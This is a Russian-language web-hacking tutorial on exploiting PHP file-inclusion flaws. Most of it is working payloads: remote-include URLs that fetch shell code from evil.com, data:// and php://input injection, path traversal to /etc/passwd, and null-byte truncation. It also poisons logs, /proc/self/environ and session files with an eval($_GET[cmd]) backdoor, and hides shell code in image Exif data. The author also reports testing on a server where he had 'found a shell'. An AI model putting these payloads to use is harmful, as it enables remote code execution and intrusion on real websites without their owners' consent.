Веб-хакинг

Веб-хакинг


Мы переходим к изучению атак remote/local file inсlude. Материалов по этой теме не так много, как по теме SQL-инъекций, поэтому собрать все в одном месте было чуть проще.


Введение.

Возможность провести атаку зависит от того, насколько хорошо фильтруются переменные в выражениях:

  • include()
  • include_once()
  • require()
  • require_once()

В атаках file include играют значение версия php, настройки в php.ini и версия ОС, на которой крутится веб-сервер.

Простейший пример уязвимого скрипта:


1

2

<?php

include($_GET['file']);

Мы можем подключить к выполнению удаленный файл, передав в параметр file "http://evil.com/myshell.txt" (это будет RFI):


1

http://example.com/?file=http://evil.com/myshell.txt

или файл на сервере "/../../../../var/log/httpd/error_log" (это будет уже LFI):


1

http://example.com/?file=/../../../../var/log/httpd/error_log

В чем разница между LFI/RFI можно понять по этой схемке:

LF


Как мне кажется, все довольно понятно.

RFI.

Как уже было описано выше, удаленный инклюд зависит от того можно ли подключить к исполнению удаленный файл.

Классический вариант эксплуатации довольно прост:


1

2

3

4

http://example.com/?file=http://evil.com/shell.txt

http://example.com/?file=https://evil.com/shell.txt

http://example.com/?file=ftp://evil.com/shell.txt

http://example.com/?file=ftps://evil.com/shell.txt

В shell.txt должен лежать исходный код шелла (ну или код, который вы хотите исполнить).

Если к переменной подставляется расширение или какой-то путь:


1

2

3

4

5

6

<?php

include($_GET['file'].".html");

// Или

include($_GET['file']."_page.html");

// Или

include($_GET['file']."/page_source/index.html");

То это по сути ничего не меняет. В первом случае, мы просто переименовываем текстовик с кодом шелла в shell.html, и пишем так


1

http://example.com/?file=http://evil.com/shell

Во всех остальных случаях, можно просто дописать знак вопроса ("?") или хеш ( "#" в urlencode - "%23"). В первом случае сервер будет считать, что все что идет после "?" это параметры и их значения, во втором случае - просто отбросит все после хеша.


1

2

http://example.com/?file=http://evil.com/shell?

http://example.com/?file=http://evil.com/shell%23

Если http, https, ftp, ftps фильтруются, то можно попробовать использовать другие URL-протоколы (документация). Хотя это уже сложно назвать RFI, потому как подключаемые файлы находятся не на удаленном сервере, а передаются непосредственно в запросе.

К примеру, для инклюда через протокол data://, мы можем написать следуещее:


1

2

3

4

http://example.com/?file=data:,<?php /* тут код простого шелла*/ ?>

 

Можно обработать base64 и Url-encode:

http://example.com/?file=data://text/plain;base64,PD9waHAgLyog0YLRg9GCINC60L7QtCDQv9GA0L7RgdGC0L7Qs9C%2BINGI0LXQu9C70LAqLyA%2FPg0K

Для инклюда через протокол php://, мы посылаем такой запрос (через Burp Suite, например):


1

2

3

4

POST httр://example.com/?file=php://input HTTP/1.1

Host: example.com

 

<?php echo "wack wack";?>

Также, с помощью этого протокола, мы можем читать содержимое файлов (http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html)

Есть и другие протоколы, которые в теории могут быть использованы (например except - http://insecurety.net/?p=724) для эксплуатации инклюда.

Ограничения в использовании URL-протоколов:

Протоколallow_url_fopenallow_url_includePECLhttp/httpstruetrueftp/ftpstruetruedatatruephptruefilezlib/zip/bzip2trueglobpharssh2truePECLrarPECLoggPECLexceptPECLВсе, как описано в документации по php.

LFI.

Если перед переменной в инклюде есть какие-то данные, то мы уже не можем подключить удаленный файл:


1

2

<?php

include("/folder/".$_GET['file']);

Как бы мы не хотели, но даже если включены директивы allow_url_fopen и allow_url_include, мы все равно не сможем подключить файл со своего сервера (либо воспользоваться url-протоколами).

Зато, мы можем поместить наш код в один из файлов на атакуемом сервере и подключить его через инклюд. Главное, чтобы он был доступен на чтение.

Чтение файлов.

Все что не является php-кодом, выводится при подключении через инклюд, как есть. Используя это свойство , мы можем читать содержимое файлов, который нам обыкновенно не доступны для чтения, например .htaccess.htpasswd и прочие (например, защищенные basic-авторизацией).


1

http://example.com/?file=.htaccess

Если мы хотим прочесть файл, который находится ближе к корню, мы можем использовать сочетание "../", чтобы подняться по дереву каталогов:


1

http://example.com/?file=./../../../../../etc/passwd

И если файл /etc/passwd доступен для чтения, то мы увидим его содержимое.

Инклюд загружаемых файлов.

Если на сайте есть возможность заливать какие-нибудь файлы (картинки, музыку, видео, документы), или данные от пользователя попадают в файл (чатик или гостевуха на файлах), то мы можем внедрить свой код в эти файлы (просто дописав его в конец файла), и легко проинклюдить:


1

http://example.com/?file=./../superlogo.gif

Если, же картинки проверяются на валидность, то мы впишем код шелла не просто в конец файла, а в Exif-данные картинки. Я воспользовался программой Exif Pilot:

1


Затем инклюдим нашу картинку и видим что код исполнился:

0001


Вот вам LFI-XSS )))

Обрезаем расширение, (null-byte и прочие методы).

К переменной в инклюде может подставляться расширение файла:


1

2

<?php

include("/folder/".$_GET['file'].".php");

В таком случае, для инклюда того же /etc/passwd, необходимо каким-то образом откинуть расширение. Обыкновенно для этого используется нуллбайт:


1

http://example.com/?file=./../../../../../etc/passwd%00

Но, на сегодняшний день, это становится почти такой же редкостью, как register_globals=On.

Для примера, я нашел шелл, где стоит php версии 5.1.6. Залил такой скрипт:


1

2

<?php

include ($_GET['file'].".php");

Пробуем проинклюдить /etc/passwd - пустой экран.

Добавляем нулл-байт:

1233


Существуют альтернативы нулл-байту, которые иногда срабатывают, а иногда нет (зависит от версии php и ОС, на которой крутится сервер, их настроек и фазы луны). Прочтите на досуге:

  • http://raz0r.name/articles/null-byte-alternative/
  • http://intsystem.org/412/issledovanie-php-include/ (!)
  • http://blog.ptsecurity.com/2010/08/another-alternative-for-null-byte.html

Инклюд логов.

Мы также можем внедрить свои данные в логи. Это могут быть логи апача (аccess_log, error_log), логи ftp-сервера, ssh-сервера или еще какого приложения (например отдельного веб-приложения, которое пишет статистику по посещениям в файлы).

Делаем такой запрос (используя Burp Suite):


1

2

3

4

5

6

7

GET /123123123123123 HTTP/1.1

Host: example.com

User-Agent: <?php eval(\$_GET[cmd]); ?>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

Наш Http-запрос попадает в лог ошибок апача (так как мы обращаемся к несуществующей странице). Нам остается только проинклюдить эти самые логи:


1

http://example.com/?file=./../../../../../../var/log/httpd/error_log

Используем лог ошибок, потому как лог посещений может просто не загрузиться.

Большая подборка стандартных путей расположения логов:

  • http://forum.antichat.ru/threads/324564/

/proc/self/environ

В *nix-системах каждый процесс имеет свою собственную запись в /proc. В свою очередь, /proc/self, – это символическая ссылка и неизменяемый путь,

содержащий инфу для недавних процессов.

Самое главное заключается в том, что очень легко исполнить любой свой код, подключив /proc/self/environ. Малость редактируем Get-запрос в Burp Suite:

0123


И кодес, который мы внедрили успешно выполняется:

001


С помощью того же /proc, мы можем подключить логи. Нужно лишь проинклюдить следующие файлы:


1

2

/proc/self/fd/2

/proc/self/fd/7

2 и 7 это ярлыки на логи апача.

Отправляем хитрый пакет через Burp Suite:


1

2

3

4

5

6

7

GET /i.php?file=./../../../../../.././proc/self/fd/2&cmd=phpinfo(); HTTP/1.1

Host: example.com

User-Agent: <?php eval(\$_GET[cmd]); ?>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

И если логи доступны для чтения, то мы увидим вывод phpinfo().

Файлы сессий.

Можно внедрить свои данные в сессию. Например есть такой код:


1

2

3

4

<?php

session_start();

$var = $_GET['var'];

$_SESSION['var'] = $var;

Передаем в параметр var код, который мы хотим исполнить:


1

http://example.com/?var=<?php phpinfo();?>

По умолчанию, файлы сессий хранятся в /tmp/, но в нашем случае они хранятся по другому пути:

23


Также, мы легко можем узнать, в каком именно файле хранятся данные нашей сессии. Если в Cookie лежит:


1

PHPSESSID=mlv6qiu6fktfan616o10lu1v88

То мы просто дописываем "sess_" к значению. И делаем инклюд:

123123


Все сработало... Шикардос.

Экзотика. Инклюды через мыло и инклюд с помощью phpinfo().

Есть экзотичный способ инклюда, основанный на том, что пользователь может менять содержимое отправляемых писем, а unix-системы в свою очередь могут сохранять такие письма локально. И эти самые письма и подключаются через LFI.

Полное описание: https://xakep.ru/2009/09/17/49508/ (Полезное мыло)

Инклюд с помощью phpinfo() заключается в том, что мы льем файл на страницу с phpinfo(), с помощью него же, узнаем его местонахождение и через заранее найденную LFI подключаем свежезалитый файл.

Полное описание: https://xakep.ru/2012/01/25/58183/

Если вы ознакомитесь с материалами в конце статьи, то Вы будете в курсе практически всего, что есть в паблике по теме LFI/RFI.

Софт

Что касается софта, то не могу порекомендовать ничего конкретного. Я использовал в основном Burp Suite, иногда - самописные скриптики. Хотя софта для поиска и раскрутки LFI/RFI навалом:

  • https://code.google.com/p/fimap/downloads/list
  • https://github.com/P0cL4bs/Kadimus/
  • https://code.google.com/p/lfimap/
  • https://github.com/m101/lfipwn
  • https://github.com/rotlogix/liffy

Попробуйте, может вам что-то подойдет.

Ссылки

Более интересные (чем эта статья) материалы по LFI/RFI:

  • include include_once | require require_once
  • http://php.net/manual/ru/wrappers.php
  • http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html
  • http://kaoticcreations.blogspot.com/2012/01/burp-suite-part-vi-more-fun-exploiting.html
  • http://kaoticcreations.blogspot.com/search/label/LFI
  • http://raz0r.name/articles/null-byte-alternative/
  • http://intsystem.org/412/issledovanie-php-include/ (!)
  • http://blog.ptsecurity.com/2010/08/another-alternative-for-null-byte.html
  • http://forum.antichat.ru/threads/324564/
  • https://xakep.ru/2009/09/17/49508/
  • https://xakep.ru/2012/01/25/58183/
  • http://insecurety.net/?p=724
  • https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
  • https://rdot.org/forum/showthread.php?t=343
  • http://forum.antichat.ru/threads/232773/
  • http://forum.antichat.ru/threads/71902/
  • http://forum.antichat.ru/threads/18368/
  • https://hpc.name/thread/30214/p1.html
  • http://habrahabr.ru/company/xakep/blog/112691/


Report Page